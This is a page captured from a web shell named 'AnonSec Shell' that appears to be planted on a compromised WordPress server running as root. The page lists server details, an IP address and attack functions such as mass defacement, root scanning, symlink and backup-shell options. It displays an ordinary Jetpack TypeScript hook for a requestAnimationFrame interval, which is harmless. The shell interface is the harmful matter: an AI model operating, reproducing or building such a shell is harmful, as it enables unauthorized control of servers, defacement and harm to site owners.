AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/cwd/plugins/jetpack/extensions/shared/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/cwd/plugins/jetpack/extensions/shared/use-ref-interval.ts
import { useCallback, useEffect, useRef } from '@wordpress/element';

interface RafHandle {
	id: number;
}

const setRafInterval = ( callback: () => void, timeout: number = 0 ) => {
	const interval = timeout < 0 ? 0 : timeout;
	const handle: RafHandle = {
		id: 0,
	};

	let startTime = Date.now();

	const loop = () => {
		const nowTime = Date.now();
		if ( nowTime - startTime >= interval ) {
			startTime = nowTime;
			callback();
		}

		handle.id = requestAnimationFrame( loop );
	};

	handle.id = requestAnimationFrame( loop );

	return handle;
};

const clearRafInterval = ( handle?: RafHandle | null ) => {
	if ( handle ) {
		cancelAnimationFrame( handle.id );
	}
};

/**
 * Invoke a function on an interval that uses requestAnimationFrame.
 *
 * @param {Function} callback - Function to invoke
 * @param {number} timeout - Interval timout in MS.
 *
 * @returns {Function} Function to clear the interval.
 */
const useRafInterval = ( callback: () => void, timeout = 0 ) => {
	const timerRef = useRef< RafHandle >();

	const callbackRef = useRef( callback );
	callbackRef.current = callback;

	useEffect( () => {
		timerRef.current = setRafInterval( () => {
			callbackRef.current();
		}, timeout );

		return () => {
			clearRafInterval( timerRef.current );
		};
	}, [ timeout ] );

	const clear = useCallback( () => {
		clearRafInterval( timerRef.current );
	}, [] );

	return clear;
};

export default useRafInterval;

Anon7 - 2022
AnonSec Team